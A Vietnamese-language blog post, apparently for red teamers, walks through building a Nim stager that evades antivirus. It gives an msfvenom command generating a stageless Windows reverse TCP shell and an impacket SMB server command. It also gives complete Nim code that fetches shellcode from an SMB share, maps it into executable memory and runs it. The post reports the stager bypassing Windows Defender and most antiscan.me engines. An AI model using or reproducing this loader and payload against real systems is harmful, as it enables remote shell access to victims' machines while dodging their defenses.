Phát triển trình tạo SMB trong Nim

Nov 24 2022
Xin chào các bạn Đội Đỏ. Gần đây tôi đã bắt đầu liên hệ với Nim để viết mã gây khó chịu.

Xin chào các bạn Đội Đỏ. Gần đây tôi đã bắt đầu liên hệ với Nim để viết mã gây khó chịu. Thành thật mà nói, tôi thấy nó khó và lạ, nhưng nó HIỆU QUẢ!

Hôm nay chúng tôi đang phát triển trình tạo SMB đơn giản, bỏ qua Bộ bảo vệ Windows tại thời điểm thử nghiệm.

Nếu bạn thích xem video hơn là đọc, bạn có thể xem toàn bộ video tại đây:https://youtu.be/qq-S2syksL0

Ngoài ra, nếu bạn quan tâm đến việc tham gia Open Discord để chia sẻ kiến ​​thức và kinh nghiệm về an ninh mạng, hãy cảm thấy hoan nghênh:https://discord.gg/dWCe5ZMvtQ

Đi nào

Lý thuyết khá đơn giản, ý tưởng là để tránh ghi shellcode vào tệp, bỏ qua khả năng phát hiện dựa trên chữ ký, đồng thời hỗ trợ cho chẩn đoán. Ban đầu, tôi đã thử tải xuống shellcode bằng HTTP, nhưng tôi gặp phải nhiều sự cố và không thể tự giải quyết được. Sau đó, phương pháp luận hơi thay đổi. Thay vì tải xuống từ HTTP, tải trọng sẽ được lưu trữ trên phần chia sẻ SMB và sẽ được đọc trực tiếp từ đó.

Tôi đã sử dụng msfvenom tải trọng không giai đoạn

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Trước tiên, chúng ta phải nhập thư viện nhân Windows, cho phép chúng ta gọi các API của Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Thời gian thử nghiệm!

Tôi đã thực hiện 2 bài kiểm tra. Đầu tiên là chống lại Windows 10 Client với Defender UP and RUNNING. Thứ hai là chống giao diện antiscan.me.

Nim Stager so với Bộ bảo vệ Windows

Thử nghiệm 1 bắt đầu bằng cách thả trình khởi tạo vào hệ thống tệp. Không có gì được kích hoạt cho đến nay, có nghĩa là chúng tôi đã bỏ qua thành công phát hiện dựa trên chữ ký. Bây giờ hãy chạy và quan sát:

Stager hóa ra vẫn hoạt động tốt, và điều kỳ lạ ở đây là Defender đã được kích hoạt, nhưng điều này không giết được shell:

Tôi đã chạy shell này trong một vài phút và nó có đầy đủ chức năng. Cá nhân tôi không biết tại sao hậu vệ không giết nó, nếu bạn biết câu trả lời tôi sẽ đánh giá cao việc chia sẻ.

Nim Stager đấu với Antiscanme

Đừng hiểu sai ý tôi, antiscanme rất tuyệt nhưng khi thử nghiệm các trình phân tích, chúng không thực sự có cách trình bày kết quả hợp lệ. Các kết quả mà bạn thấy hoàn toàn dựa trên phát hiện dựa trên chữ ký, vì chúng không có khả năng mạng tải xuống mã shell thực tế. Tôi hy vọng sẽ có nhiều nhà cung cấp AV nắm bắt được điều đó khi thử nghiệm thực tế, nhưng đó là một “bước đầu tiên” tốt đẹp để thực hiện.

Sau khi tải lên stager, chỉ có 4/26 nhà cung cấp có thể bắt được nó.

Tôi tin rằng trình kích hoạt đó dựa trên việc các nhà cung cấp đọc các lệnh gọi API của Windows, do đó coi đó là một phần mềm độc hại. Tất nhiên, để kiểm tra xem chính xác điều gì đã xảy ra, tôi cần phải thực hiện rất nhiều thử nghiệm. Đó là lý thuyết của tôi cho thời điểm này.

Phần kết luận

Chơi với Nim rất thú vị và kết quả chúng tôi đạt được chỉ bằng cách dàn dựng mọi thứ thật tuyệt vời. Tất nhiên, chúng tôi có thể thực hiện nhiều kỹ thuật bỏ qua AV tiên tiến hơn, nhưng chúng tôi sẽ thực hiện điều đó trong tương lai. Hy vọng bạn thấy nội dung đó hữu ích và học được điều gì đó mới.